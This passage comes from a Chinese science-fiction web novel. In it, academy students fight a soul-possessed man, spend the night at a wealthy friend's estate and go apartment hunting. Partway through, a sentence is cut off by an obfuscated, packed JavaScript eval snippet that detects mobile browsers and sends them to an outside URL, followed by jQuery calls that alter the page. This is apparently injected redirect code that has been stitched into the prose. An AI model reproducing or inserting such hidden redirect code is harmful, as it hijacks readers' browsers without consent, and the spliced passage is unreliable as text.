明刹和缇娜两人一边走一边回头说着什么,“感谢周觅。”“感谢觅姐请客。”之类的话,一步三回头,门口进来的人又多,缇娜忽然被人一撞,周觅下意识上前环住她的腰。 缇娜扭头看向撞自己的人,她脸色青红交接地变了变,“薛质?” “疼死我了,哎呦,肯定红了我的肩膀。”缇娜转过脸跟周觅撅了撅嘴,她大大的眼睛内一时间像蓝宝石晶莹剔透地闪着光,周觅赶紧给她揉了揉,明刹不认识这人,本想过去看看这人,薛质却像是被人踩住了尾巴的猫,浑身一抖,立马跑了。 明刹愣在原地,指着自己的鼻尖,问两个低头说悄悄话的女孩,“我长得很难看吗?一见到我就跑了。” “或许。”周觅看了眼还在揉肩膀的缇娜,接过话茬顺带着瞥了眼明刹,明刹眯了眯眼,本想和周觅争执一番,不远处忽然有人高声尖叫,他神色一冷,看前面有空旷的高处,赶紧一手拉一个立马将周觅和缇娜送过去。 “怎么了?” 缇娜害怕地缩了缩肩膀,又忍不住抬头将眼睛从周觅肩膀上露出来,使劲眨了眨,可也什么都没看到,就见人群疯狂地四处乱窜,活像是静谧地池塘内砸入了一块巨大的石头,搅得池水浑浊不堪地滚动起来,游鱼也疯狂甩动尾巴飞鸟般的速度散去。 “是蓝粒干扰者。”周觅眼神一下犀利起来,她握住缇娜的手腕,问她,“你是在这里还是跟我们一起去,至少短时间内牵扯住他,等地下城巡逻的人员过来。” 缇娜眼眸一动,急匆匆道,“我跟你们一起去。” 生怕周觅不带上她,她颇为焦急地拉住周觅的衣角,周觅点点头,给明刹一个眼神,明刹立马从储物戒内摸出周觅提醒他买的长剑,这里不是战场,他们更不是可以合法持枪的军人,只不过是在特定时间可以拿枪的军校学生,人多眼杂的时候,枪械之类的不适合出现。 周觅从自己的储物戒内拿出两把长刀,扔了一把给缇娜,几人立马和和逆着人群冲过去,人群内不断有东西被扔在地上,慌忙逃窜的人们,除了自己的小命其他的什么都无暇顾及。 眼神触及到在人群中央作乱的人,周觅瞳孔紧锁,头转了转,“是他。” “谁?”没坐过学校班车的缇娜怎么会知道这人是谁,周觅给她粗略一讲,缇娜蓝眸颤了颤,震惊地左看右看,“也就是说,他是被校车撞死的?” “应该是他本来就想跳楼,接过被校车撞了,魂魄被蓝粒控制了,现在也是个活脱脱的行尸走肉,只能烧掉他的灵魂,不然这里的人今天都要遭殃了。” 周觅说话之间,离他们不算远的男人已经看清了这三人,他还是周觅他们所见一脸愁眉苦脸的样子,脸皮耷拉着,眼袋挂在上颌骨干瘪的皮肉上。 他颤颤巍巍地抖着双唇,终于发现了熟人似的嘴角往外扯,身旁破旧不堪的灯笼朝他的脸侧投来刺目的红光,使得他整张脸都被浸泡在深红又源源流淌的水光中,几乎被煮沸了一样的滚烫通红。 “退后!”忽然而来的女声,几人快速拨过脸去看向来人,皆是愕然。 怎么是她? 14.消失的街道(六) “郑老师?” 几人异口同声,郑同玉紧缩眉头看了几人一眼,似乎没料到他们都在这里,脸色如常一般冷漠,只“嗯”了一声,算是打过招呼了。 她侧过脸的动作没有影响到动作,手仍稳如泰山一下不动,直指鬼一般荡过来的男人。 “砰砰砰”几声枪响,男人的脑门瞬间出现几个黑漆漆的枪孔,普通的军校枪械没有办法做到这样,明刹盯着郑同玉的枪,眼里是止不住的羡慕,他一时间忽略了这里情形的严峻,差一点便被男人变化出来的利爪捅穿了头。 周觅瞳孔紧缩,一脚踢开男人幻化出来的利爪,死死抱住明刹的头往下压,险之又险地避过,整个人几乎弯成一个回形针。 被周觅滚烫的手挡住脸的刹那间,明刹脑海内全是周觅要做什么的惊喜,缓了几秒,感受到利爪在耳边呼啸而过的喧嚣的风声,他这才意识到死神在自己命运岔路口掠过的惊险。 明刹紧紧抓住周觅按下他头的手,心脏在胸腔内一声比一声大的狂跳,几乎要从他喉咙里钻出来。 男人身上有湿哒哒的血迹,甚至还有蓝粒的鱼腥味,刚才与他的距离是那样近,明刹扭过头,颇有点受不了地躲在周觅身后干呕。 郑同玉早就看不爽明刹,见他被周觅护得好好的样子,嘴角往太阳穴勾起一个极度嘲讽的弧度,顺便不嫌麻烦地从鼻子里冷哼一声。 至于端着枪的手,晃都没晃一下又是几枪,子弹携带幽蓝的火光直勾勾射进男人灵魂内,弯钩一般,牢牢锁住他的身体,让他寸步难行。 他被火热的灼烧感刺激地只能抬头咧嘴“啊啊啊”的嘶吼,实在太疼痛,瞪大眼睛忍受着灵魂被撕裂的拉伸感,直到眼眶像金鱼泡一般的凸起,整个人摇摇欲坠地样子,同挂在布满裂痕墙体上的老钟别无二致。 周觅不忍心看他,眼帘往下落,他吐露的可怜身世,在地下停车场分别时的摸样全都深深印在这个未成年的女孩心里,她要怎么看见一个人类被蓝粒吞噬,变成这种人人得而诛之的恶心东西呢? “这是郑老师自己做的枪支,不对外售卖,只有她的家族内部可用。”明刹紧盯郑同玉不紧不慢上前的身影,刚才被男人吓到的阴影很快散去,立马又生龙活虎地用手肘捣捣低垂头颅的周觅。 周觅不理他,她站在安全区域内,抿紧唇不发一言。 缇娜从一开始见到这男人的害怕场景中总算缓了口气,她见到了郑同玉几枪定胜负的场景,不能不佩服,对这位老师的兴趣超前的高,她抬眸问明刹,“郑老师学的机甲制作?” 明刹接过她的话,大咧咧地将手放在自己腰上撑住,活动下身体,“是啊,她还是科尔维斯军校那一届的年级长,因为精神力不高的缘故,错失指挥系,不过在机甲制作系学习也很厉害,她还兼修军医,现在她一直在机甲兵处负责事务,她也不过才从军校毕业五年而已。” 二十七岁,实在是很年轻,周觅在两人说话期间,将目光投向淡定观察男人的郑同玉的身上,她直挺挺的站在一片红灯笼灯光构成的潋滟红光中,简直是一棵笔直修长的白杨树,如此挺拔,如此伟岸。 抬脚本要往后退去,周觅直面着男人的脸忽然像是抽搐了一般,肌肉在疯狂颤抖,她想出声提醒背对着男人的缇娜,可动作比嘴快,也没有多余的时间解释,径直抱着缇娜的腰,将她往侧面抛去,与扔标枪毫无区别。 “啊啊啊啊啊啊!”缇娜一阵天旋地转地尖叫,她只觉自己的身体每一根汗毛都在倒立飞舞,直到被郑同玉安稳接住她才得以喘一口气,太刺激了太刺激了!比坐360度无敌旋转列车还要刺激,期待的目光投向周觅,得到周觅警告性质的一眼,立马缩了缩脖子,把这想法暂定了。 她伏在郑同玉身上喘气,幽蓝的水眸眨巴眨巴,明显是兴奋的余劲还没过去,明刹长大了嘴,灌了一肚子周觅将她抛走时的风,竖了个大拇指给大小姐缇娜,原来还以为大小姐会娇气,这才发现原来大小姐也不是善茬。 郑同玉无语,收回看向几人的目光,果然这几个人都不是什么正常人。 她的眼神原本紧紧锁定在倒地濒死的男人身上,只能分出一点余光给高矮参差不齐,站在一起的三人,可这男人却忽然像是回光返照一般,猛地朝缇娜抓去。 别提周觅紧张,郑同玉都差点表情失控,还好,周觅很靠谱,想要得到这个女孩子完全衷心的郑同玉看了又看,但在接触到周觅拿着长刀将男人灵魂搅碎的动作时,她表情冷下去,带着自己没意识到的杀气。 明刹看过来,郑同玉立马收掉自己除了冷漠多余的任何情绪,明刹对于郑少校执行任务的性质,绝对不是做周觅同学这么简单的事情,一种莫名的监视,一种莫名的敌对,帝国于联邦永远不会站在同一阵线。 搅碎男人灵魂的周觅,在触及到男人祈求的目光前,她只想用已经沾了幽蓝火光的长刀砍他一下,利落点让他解脱算了,可她就是从他耷拉眼皮下发白的瞳孔内看到了痛苦,看到了他想被搅碎的企盼,周觅只能将他的灵魂砍得胡乱不堪,在空气中彻底消失。 脸色发白的站在原地,她不知道自己这么做对不对,但她抬起眼眸,漆黑的瞳孔在接触到郑同玉脸色微变的那一刻,周觅忽然歪了歪头,扬起个看似等待奖励实则挑衅的表情。 她做对了,郑同玉露出马脚了。 郑同玉脸色难看到一定程度,她怎么会“夸奖”周觅,只面对他们往后退去,对着这个比自己小了十多岁的女学生威胁性地眯了眯眼,露出个荒唐的表情,又快速消失在人群里。 人潮像海浪,这里恢复平静,他们又快速一层层一叠叠地涌过来,吵吵闹闹地像浪拍打的声音,昼夜如此无法停歇。 “郑老师,哎,您怎么走了?”还想感谢郑老师接住自己的缇娜,对着人群中身影已经消失的郑同玉挥挥手,她踮起脚尖探头看她,也只能失望地放下手来,缩了缩肩膀回到周觅身边去。 周觅从她手上收起弯刀,用特殊的水浇灭火光,放在储物戒中,抬了抬下巴,露出好看的脖颈线条,问她,“怎么了?” “没什么,感觉郑老师和一般的老师不一样,好像很不在意我们。”缇娜想起阿谀奉承自己父亲的那些老师,又忍不住余光瞟了眼远处郑同玉消失的地方,她想起郑同玉总是一副看不起任何人,高高在上的表情,莫名觉得很有意思。 “在意我们就出鬼了,她怎么可能对我们在意,就那手腕和魄力我跟你说,要不是她是帝国贵族后裔的身份,怎么会是个少校,多少学校请她去授课呢,你们班人觉着她教的怎么样?”明刹凑过来贴着周觅,周觅不动声色的伸出一根手指,抵着他的肱二头肌,给他往后面推了推。 “她不厉害怎么可能来到这里。”周觅一语双关,可惜明刹这个表明威风,内里城府不深的傻小子根本没听明白,回道,“是吧是吧,郑老师还是很厉害的。” 明刹虽然嘴里说着什么自己以后会是郑同玉上司的话,但目前还是学生的他,绝对认可郑同玉的水平。 几人收拾好东西就要走,看热闹的人群聚在不远处,每一个敢上前,地下城巡逻队来的不慢,大部分都是身强力壮的小伙子,为首的叫住了周觅一行人。 “顺子,去找几个人过来问问,这边的损失统计一下,汇报给韦德先生。”为首的男子见他们几人停下来了,迅速喊来身后的张顺,张顺立马领命过去对看热闹不嫌事大的几个大妈询问情况。 “缇娜小姐您晚上好,我是巡逻队的队长高镇海,今晚实在抱歉,我们在4区巡逻,今晚4区有好几个人请假,我们明早自会去领罚。”他对着缇娜恭敬的一鞠躬。 缇娜摆摆手,语气不严厉却也不轻松,“还好他没有杀人,有几个人受伤了,估计也不算很严重,你们的惩罚制度怎么评定我不管,但是不要有下次。” 高镇海当然是连声称是,缇娜挥挥手让他走,抬脚准备离开了,周觅却盯着这张熟悉的脸开口,“你和高上尉什么关系?” 这两人名字太像,长的又像,说不认识,周觅是完全不信,高镇海抬头骄傲道,“小同学你说的是高镇邱吧,他是我亲哥。” “原来如此,高上尉人很好。”周觅话音还未落,高镇海高高挺起的胸膛,挺得更狠了,今晚虽然被罚了,但被周觅这一打岔,整个人容光焕发的简直是立了一等功的程度。 高镇海还想跟周觅全方位夸自己哥哥一通,但缇娜示意时间快到十点了,一行人必须要加快教程了,这才互相告别。 他们走后,本来今晚就很热,听到别人夸自己哥哥后,高镇海更是热的非要找点事情干干,巡逻队只负责检查来可疑人员而已,跑过来一路已经很累了,可就算累他也还是眼睛溜溜打量四周,转身帮着摊主收拾散落一地却还能卖的商品。 晚上十点钟的敲钟声高高在地下城上空回响,地下城二世祖们的夜生活才开始。 这个时间点,缇娜则必须回家,地下城没有白天黑夜之分,每个人都有自己的一套作息,缇娜的作息就是严格按照军校的时间段,不允许出错。韦德家族的家教很严厉,唯一的女儿,也不能免于被一套规则训诫。 韦德家族在地下城有一块巨大的庄园,周觅来玩过几次,韦德夫人超级喜欢周觅这个孩子,性格好,对长辈有礼貌,成绩也是中心学院数一数二的。哪个家长不喜欢这种孩子呢,缇娜很讨厌韦德夫人提起别人多好,但她觉得韦德夫人说周觅好,她脸上也有光。 “小姐,您带同学过来了?”远远的管家就出来接人,时间点快到了,韦德先生今晚心情不佳,可别因为这种小事再惹得韦德先生不舒服。 管家看见从花园穿行过来的一行人,看见周觅,笑容不禁深了几分,“周同学过来玩啦?还是跟缇娜小姐睡在一起吗?” 见到跟在身后的明刹,管家恭敬鞠躬,明刹赶紧往后退几步让过去,这不是他家,他在外面很少摆大少爷架子,只是与神俱来的上位者气息,只会让他在人群中脱颖而出。 “对她跟我睡,还有明刹,叔叔你给他安排一下吧,他是从主星明家过来的,我同父亲说过了。” 韦德先生今晚太忙了,缇娜给他发的消息全都显示未读,缇娜也不管他,父亲是个大忙人的事实她从小就知道,也不会觉得父亲不爱自己,钱在爱就在,缇娜想自己或许也是个俗人。 韦德夫人接到明刹和周觅过来的消息,几乎不停歇,立马前往缇娜单独一幢的小别墅内,代替韦德先生向明少爷问好。 韦德夫人是位极优雅的女性。她穿着古老视频内才会出现的旗袍,粉荷色的布料用银线金线勾勒出朵朵栩栩如生的蔷薇,人却比花还要娇嫩三分,穿着小高跟跨进门槛进来时,冷冽的香气从她衣裙的晃动间四溢。 她看上去只有二十来岁的样子,说是几人的姐姐也不为过,在星际时代青春永驻太简单了。 “不好意思,缇娜父亲今晚上事务繁重,我代替他过来,明少爷,您父亲身体都还好吗?” 韦德夫人缓缓坐在矮脚桌后的皮质沙发上向明刹问好,她双手交叠放在一起,细细的腕子上衔着只碧透的镯子,能看到清晰的血管,是冷寂的蓝。 明刹坐直身体,回她,“劳您挂心,家父身体不错,我也听父亲说起过韦德家族,想不到有幸认识缇娜小姐,见到夫人的真容,倒是比我父亲幸运,提前见到韦德家族的统领者。” “你这孩子真会说话,你到了米拉尔星球来,是住在中区吗?”韦德夫人捂嘴轻笑一声,她关心他的居住情况,生怕他住到感染区。 明刹摸了下自己的头,望了一望周觅,实话实说,“不是,我现在和周觅住在北部。” 韦德夫人表情变得不那么好看,春天花瓣一样娇嫩的脸庞上多了点涩涩的僵硬感,她往周觅那头挪了挪,不温热的手牵过周觅的手,放在自己的膝盖上,关切道,“你不能继续住在那样危险的地方了,你们那边出了好几起命案,你不能不为自己考虑。” 她顿了一顿,盯着看周觅的表情,周觅的表情产生了太多纠结,到底只是个十几岁的女孩子,韦德夫人温柔地用手摸摸周觅扎在身后的长发。 “明少爷也和你住在北区,你们俩人干脆一起搬到地下城来,我认识很多有房源的人,你们不一定喜欢。你们虽然是孩子,却也自有打算,让缇娜带着你们去看看房子也是可以的。”她真挚的眼眸一直盯着周觅黑沉沉的瞳孔,这种黑总是过分天真,惹的韦德夫人心疼。 周觅想起和父母的那通电话,她眼帘往下垂,拿不准主意。 缇娜受不了了,从沙发那头跨坐在周觅旁边,她伸手抓住周觅的手腕,使劲摇晃,“来嘛来嘛,北部实在是太不安全了,我一定会找到让你满意的房源的。” 水蓝的眸子摇摇欲坠地带着点水光,与韦德夫人如出一辙的眼眸实在是好看极了,周觅本来经过一通不太舒服的电话就不高兴,现在被缇娜这么一说,她点点头,像是松了一大口气,“好,缇娜,我们明天就去看房子吧。” 明刹是无所谓自己住在哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403440|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听周觅这么一说,他坐在沙发上规规矩矩的身体往前倾了几分,丹凤眼高兴地眯起来,整个人愉悦地要冒泡了。 “好耶好耶,我们三个人以后一起上课,妈妈总说我一个人去哪里她都不放心,有你们在她就不担心了!”缇娜高兴的对周觅眨眨眼睛,笑盈盈地抱着妈妈的手晃着撒娇。 周觅看着她也忍不住勾唇,想起了418街道的事情,她便谨慎开口问韦德夫人。 “其实已经没有418街道了,真正的418街道是在边防线后的那一个,你现在住的地方,是灾后重建的无名街道,只有曾经住在418街道的人才喜欢用旧称,也没有多少人住在无名街道,尤其是粒子污染严重后,你跟我说有很多人住,我怀疑是一种蓝粒或者磁场产生的幻觉,你继续住在那里对身体有害,缇娜每每和我说起来,我都很担心你。” 韦德夫人耳边有几缕发丝散落下来,周觅眼神闪了闪,她温和道,“谢谢您,我知道了,我会和我父母说我的想法。” 韦德夫人拍拍周觅的手,柔和的目光扫在周觅和明刹的脸上,见他们都有些困倦了,便起身告别。 “做个好梦。” 她踩着小高跟,面对着几人往后退去,在巨高的彩绘门后对着几人挥挥手,透亮的手镯顺着她细长的腕子往下滑到白瓷般的小臂中央。 外面的黑暗被门隔绝在外面,客厅的巨型吊灯仍挂在几人头顶上,继续朝周围射出潋滟的亮光。 明刹由管家领着去三楼的主卧休息,周觅洗漱后躺在缇娜身旁,两人头靠头,躺在一起低声说话。 地下城每间屋子的隔音都不错,因上方不断会有运输车以及二世祖们的豪车“唰”的一下快速掠过,韦德庄园上方设置了禁飞区,缇娜小别墅更是无人打扰。 晚间的静谧时刻,甚至可以听见缇娜摆在床头柜上的小闹钟在滴答滴答的转着指针,这都是古物,星际时空内,没多少人家庭内会有旧时代的物件。 “周觅,你睡着了吗?”缇娜的声音从周觅的耳旁传来,带着点温热的水汽,扑洒在耳朵内侧有点痒。 周觅摇摇头,看向从窗帘缝隙那一处飘进来的灯光,像是海上的月亮,缇娜软绵绵的床变成了一只在海上荡的孤舟,周觅的心变得不安稳,仍然是月夜内挂在狂风骤雨的树杈上,孤独又凌乱不堪的枯叶。 缇娜在被子内扭几下,躺到周觅身边,把头放在周觅肩膀上枕着,金色的发丝干蓬蓬地铺在两人脖颈与脸侧,有被子晒完太阳才有的干燥气息。 “周觅,我知道你的朋友才去世,你很难受,没人可以代替她。可是不管怎么说,我希望我也好,其他人也罢,都希望你能开心。”缇娜学着自己母亲哄她睡觉的样子,用自己不大的手轻轻拍周觅的身体,似乎也想哄周觅入睡,做一个好梦。 将脸慢慢转过来,周觅睁开被修长睫毛压住的眼睛,下巴尖贴在缇娜的额头,两人这么个肌肤相贴的紧密距离,周觅难得觉得一点暖意,她眼神变得越来越软和,也越来越困倦,“好,谢谢你,缇娜。” “不用谢,我们是朋友啊,再说了,你也帮助过我很多,等你也住在地下城,我们可以一起上学,周觅?周觅?” 缇娜尾音降下来,她抬眸看见已经熟睡的周觅,嘴里抱怨着,“哎呀,怎么睡着了?我还想说会话呢。” 虽然这么说着,其实声音也微乎其微的像是一场哑剧的独白,她将被子往上拉盖住两人的身体,动作又轻又缓,理好自己的头发防止翻身压住,一阵忙活,累的缇娜在黑夜里毫无精力再去想任何事情,倒头就睡。 凌晨十二点的微风轻掀起窗帘一角,大部分窗户都只拉起纱窗阻隔外面的尘埃,窗外漫天的绿意熙熙攘攘的堆砌在一起,有绞碎青草的气息在空气内弥漫。 不知哪里飞来的一只有人脑袋大的蝴蝶,趴在纱窗上,触角颤动着,金黄色的瞳孔透过纱窗千万个密密麻麻的小孔,朝里面打探。 周觅裸露在空气中的手搭在床沿上,炽音骨灰化成的戒指上一点亮光快速滑过,趴在纱窗上的蝴蝶触角猛地颤了颤,过了许久才再下一阵绿意的剧烈翻滚中,藏进了深绿色又浓黑的深夜。 光脑设定的闹铃在凌晨五点准时响起,周觅早就睁眼等着关闹铃,五点一到,闹铃只短暂的“嗡”了一声,再没响了。 她的生物钟很准时,凌晨五点前的几秒,一定会醒,今天是她睡的最好的一次。 轻轻地翻个身,周觅总觉得自己能听见尘埃扑簌扑簌往下落的声音,不仅仅是这个,还有小爬虫在别墅外面某一个树杈上爬来爬去抖着翅膀,与枯树叶互相碰撞的声音。 这是怎么了? 周觅上一次有这样的感觉是很多年前,还很小的时候,一点声响她都能听到,对她的生活产生困扰,父母带她去植入芯片。 可现在又如此,她晃了晃头,这种对细微动作的捕捉能力似乎消失了,周觅大喘一口气,紧绷的神经得以松懈下来。 时间一分一秒随着床头柜上的时钟指针往后踱步,她就这么睁着眼睛,又缓缓闭上眼睛,企图再休息一会,可脑子里全是时钟“滴答滴答”的响声,被蜘蛛网爬满了一般的身体僵硬地陷在床榻上。 直到缇娜在六点钟被设定的光脑闹铃吵醒,晃晃脑袋爬起来,闭着眼睛摸索着自己放好在床位的衣服,不时就会迷失方向摸到周觅身上去,也不睁眼就这么继续胡乱在床上乱爬,终于快穿好了,才在佣人的敲门声中,应了声睁开眼。 “周觅,早啊,昨晚睡得怎么样?” 冷水洗过脸的大小姐恢复平时班长的成熟稳重,周觅拿起书包向她打个招呼,将已经无影无踪的敏感精神力抛之脑后,“早啊,睡得还行,请你吃早饭。” “怎么不说请我吃?”从走廊另一边走过来的明刹哼了声,站定在两人身后,周觅抬眸扫了他两眼,一抬下巴利落踢了踢他的运动鞋,“好啊,也请你吃。” 明刹一挑眉,惊喜问,“真的假的?今天心情这么好啊?” “我哪天心情不好。”周觅跟上缇娜去开门的脚步,避开明刹要撞过来的肩膀,瞪他一眼。 被避开了,明刹也不觉得有什么,他乐呵地一甩书包跟在两人身后,三人就这么一路笑笑说说地买了早餐,坐上去地面城市的列车,准备上早课了。 两人同明刹在楼层交界处告别,缇娜拿着自己的班长身份卡给每个同学检查信箱,周觅拎着她和自己的书包,脚才刚迈进班级,便被她喊住。 “周觅,你的信!” 15.消失的街道(七) 信? 周觅要进教室的脚步顿住了,她抱着两个双肩包快速走到每个同学的私人柜子旁边,每个人都有上下两个柜子,上面完全私人专属,下面柜子只有班长的身份牌才能打开。 缇娜将信件递给周觅,又低头去看下面的其他柜子,找出其他两三封信件拿在手里,统一锁好下面的柜子,这才和周觅进了教室。 中区已经快到四月中旬,天气热乎许多,周觅脱了自己穿在军校服装外的单薄外套挂在椅子上,坐下端详好一阵这封信件,这次是从主星特拉克寄过来的,周觅指纹认证后,地址与寄件人信息展露无遗。 还是那个人,周觅忍不住为他能在艰险的战场上存活下来感到开心,她纤细的指尖摩挲几下牛皮信纸独特的颗粒感,被缇娜撞了撞手肘从开心的情绪中脱离,抬眸露出个疑惑的表情。 “干什么呢你,这么开心,就一封信让你这么开心?”缇娜凑过来看了眼信件上的地址,低声念到,“主星特拉克寄过来的,不会是你姐姐寄来的吧?” 周觅和周荨关系非常好,周荨也是在中心学院上学,后来高考进入科尔维斯军校,学的是外交语言,现在在星际广播站做电台主持人呢,这个工作又体面又舒心,韦德先生不是没让缇娜学外交语言,但是外交语言一本本扔下来都能砸死人的书,是要全背下来的啊! 缇娜抱怨韦德先生没有心,她宁愿学粒子研究,整天待在密闭的研究院里研究尸体,也不愿意背书,更何况还要和很多长得奇形怪状的外星生物聊天,缇娜觉着自己根本无法胜任这个工作。 “不是。”周觅摇摇头,将信封翻个面,压在书底下,“姐姐一般会直接和我打电话。” 周荨性子急,怎么方便怎么来,就算星际电话费贵,她也不在乎,星际广播站的工资极高,一百个一千个电话都随随便便打。 缇娜不是多管闲事的人,周觅不想多聊寄来信件的主人,她主动绕到另一个话题去,“你看看房子,我都发给你了。” 两人有联系方式,各种社交软件也都在特别关系那一栏,周觅点开缇娜的头像进去翻找,数十张照片随着“叮叮叮”的消息提示音,一股脑地涌进来。 “这么多?”周觅惊讶地眨巴眨巴眼睛,缇娜凑过自己金色的脑袋,把手绕过周觅的脖子,在她的光脑上点着每一个跟她介绍,自豪道,“那是当然,我给你介绍,当然要从各个方面入手,这不就多了?” “你看这几个,租金的话可能有点贵,大概一个月2000米拉尔星币,但是有80多平方米,环境很好,多数也是学生租的,地下城的大学很多学生都是出来租在这边,很安全。”缇娜找了一个二居室给周觅看,这家的环境确实好,但价格稍贵,不在周觅的考虑范围内。 两人继续往下翻,周觅没有太满意的,不是太贵,就是房龄太老不安全等因素,缇娜一点觉得挫败,她之所以想当班长也就是不怕麻烦,她拍拍周觅的肩膀,终于来到最后几张。 意料之中,周觅眼睛“刷”的一下亮了,她勾起唇角,“好的都在后面呢,这家是我母亲大人给我推荐的,我可找不来这种房源,而且之前也住在北部,跟你们家住的还挺近呢。” 图上的房子有一大一小两个户型,小的那个40平米,还有个不大的小阳台,这个户型是一居室,完全够周觅一个人住的很舒服。 至于大的那个,大概有120多平方米,肯定很贵,不在周觅的考虑之内,她却盯着看了很久,缇娜以为她喜欢,砸吧砸吧嘴,有点为难,“这房子估计一个月要到3500以上,地段嘛...在地下城中心,收你个6000都是少的了。” 韦德小姐是地下城的千金,其实生活费也没多少,韦德先生可不希望女儿养成花钱大手大脚的习惯,缇娜为朋友两肋插多少刀都愿意,想着周觅估计真的很喜欢,于是咬咬牙道,“就住这个,我给你先付三个月。” “不用不用,我只是觉得这户型的装修好熟悉,似乎在哪里见过,40平那个就很好了。”被她吓了一跳的周觅,感动又好笑,赶紧摆摆手。 缇娜以为她是客气,推攘着周觅的肩膀,摇头晃脑的说,“我们都去看看,到时候看看你最满意哪个我们就住哪个。” “好,谢谢你。” 周觅任由自己的手被缇娜牢牢握着,昨晚缇娜说的话现在一直在她脑海内回荡,黑夜里周觅太想落泪,只能闭上眼睛任由泪水被黑夜的静寂吞噬。 缇娜温和地帮她盖被子,哄她睡觉,轻轻在被子上拍一拍,周觅不自觉仿佛回到了很小的时间,还是被母亲喊,“心心,再不过来睡觉,就要被抓走了!” 她会抱着自己才从边防线后找到的玩具小狗,扯着妈妈衣角,睁着瞳孔如鸦羽般漆黑一片的眼睛说不要。 周觅小时候精神力影响显著,一旦躺下了,所有声音都会放的更大,家里说话一直轻轻的,直到她被植入芯片,好像很多记忆就此消失,连父母的脸都记不住。周父周母工作的地方又很远很远,她几乎没再和父母见过几次。 叹了口气,想喝水缓解下乱掉的思绪,缇娜也提着自己的水杯起来,“我们一起去接水,快走快走。” 同学们三三两两的来齐了,再不出去就要快到上早课的时间,缇娜赶紧拉着周觅起身,推着她就要走,催促道,“快点快点。” 行至门口,周觅想起自己学生卡没带,不好接水,又进去拿,缇娜在走廊内站着,走廊内不断有时间来不及的学生四处乱窜,缇娜防止被某些块头很大的同学撞飞了,贴着门站好等周觅。 事实证明,贴着门站好也没用,她被后面来人撞的差点一头栽倒之际,才出教室门的周觅眼疾手快一拽住拉住她的手腕,拖着缇娜前腰扶她站稳。 缇娜站稳抬头,就见李阳低着头晃晃悠悠飘一般的进门,周觅则紧锁眉头,眼神死死勾在李阳背后。 他的军校服不知道是穿错了还是怎么着,只能掀起周觅散落发丝的微风,鼓蓬蓬地撑大了他的白衬衫。 以前从未好好挂在脖子上的身份牌,此时一板一眼的套在梗直僵硬的脖颈上,被风吹的往后抛,差一点扇在周觅脸上。 周觅眼眸微闪往后大退一步,手却握紧他的身份牌,力度不大,他的脖子上已经出现了几道深深的勒痕,呈现摔伤才有的青紫色。 傻眼的周觅露出匪夷所思的表情,她盯着李阳毛毛躁躁的头发看了好几眼,心想慌到没时间打理自己的潮男这是是怎么了? 将他的身份牌小心翼翼地放回去,缇娜扯了扯周觅的手,示意她赶紧去倒水,第一节就是郑同玉的课,没人敢迟到,要是因为倒水迟到这么个小事情惹老师生气,太得不偿失。 李阳在两人脚步声渐渐远去后,终于敢抬头,他的脸始终埋在低头构成的阴影内,黑色瞳孔始终无法聚焦,像个学习过度,第二天魂不守舍的好学生。 可脖子上轻轻一按就出现的青紫色,始终不回答任何问题,包括走路别别扭扭的样子,怎么看怎么眼熟。 出去倒水的两人在郑同玉进来前一分钟,才把屁股放在座位上,两人赶紧把书翻出来,拿着笔记本准备认真听课。 “班长,有人没来?”郑同玉眼神掠过缇娜的头顶,猛地投向李阳前面的座位。 眼神带了点审视,来回在李阳与前面的位置上扫射,李阳的头低的快埋到桌底了,他惧怕郑同玉携带的严厉微压,极度的恐惧让他浑身紧绷,双手握拳放在桌上一动不动,不是李阳不想,是他不敢。 缇娜站起身把请假条给郑同玉看,短暂获得喘息,李阳立马用力呼吸几下,他闪烁的眸子不时往缇娜和郑同玉身上瞟,一脸想看又不敢看的样子,这幅像极了猥琐偷窥狂的样子,郑同玉撇撇嘴,很少会被人这样冒犯的感觉让她超级不爽。 “老师,薛质请假了,这是他给我发的信息。” “行,你让他给我打电话说明情况,今晚之前,不然我算他旷课。”郑同玉将缇娜给自己看信息的手移开,收回对李阳冷漠的眼神。 她敲敲桌面,朝着李阳那抬了抬下巴,紧缩的眉头仍然放松不下来,“李阳,下课来我办公室找我。” 李阳使劲眨眼,似乎被口水快呛死了,几声惊天动地的咳嗽后期,他不断吞咽自己的唾沫,紧张地声音发抖,“好…好…好,下课我…找您。” 郑同玉是确定了,这人有问题,还不是一般的有问题,学校里不好动手,必须挑个好一击必杀的时机。 她面如寒霜,脑子里却是各种酷刑,煎的炸的煮的全都有,保证死的明明白白。 上午最后一节体育课刚下课,明刹飞快跑到高一班级门口等两人,他上午在地下城买了套缇娜推荐的别墅,消费后正兴奋着呢,非要请两人吃饭。 “别,大少爷,没时间。”周觅背着自己的小书包,毛绒小狗被她别再拉链上,一走一晃,实在是很可爱。 明刹一头卷毛被周觅的话搞得似乎瞬间就炸了,他露出可怜巴巴的表情,拉着周觅的衣袖,被她重重打了下手,发出一声脆响,只得到两人的扬长而去的结果。 地下城的中午与晚上不同,会略微萧瑟一些,两人坐了通往梨花街,这里就是周觅看上的40平米小公寓所在地。 梨花街有很多的学生住户,大部分都是地下城几个出名大学内的学生,因为这类景色不错,环境干净,治安也好,对于学生们来说小才不是问题。 “这家人不错,而且特有钱,手里的房源遍布整个地下城,梨花街半条街都是他们家的。”缇娜羡慕的带着周觅往越好的公寓楼走,两人手里拿了路上买的冰淇淋和面包,中饭肯定是来不及吃了。 “只做租房生意吗?” 周觅对房东有点好奇,她平日里不是个对别人多感兴趣的人。 缇娜想了下从母亲那得来的消息,压低声音回她,“那当然不是,他们家也做枪支生意,不然这么多房子,怎么可能没人动歪心思。” 枪支? 周觅脸色一降,不是因为害怕,年纪主任陶明曾经问她,“如果你的父母是造枪支,火炮之类的,甚至还有机甲,在一个星球上拥有一定地位,你认为这种生活怎么样?” 她的回答是,“很危险。” 危险到被所有人视为靶子,一旦联邦要发动大规模的战争,一旦联邦的钱不够,这些家族首当其冲就是牺牲品。 陶明对她的回答并不表露出态度,只是摇头说,“多年后,你会有不一样的答案。” 什么意思? 周觅还想接着问,已经被陶明请出了办公室,她想问为什么陶明认为她有不一样的答案,为什么单单问她一个人这样的问题。 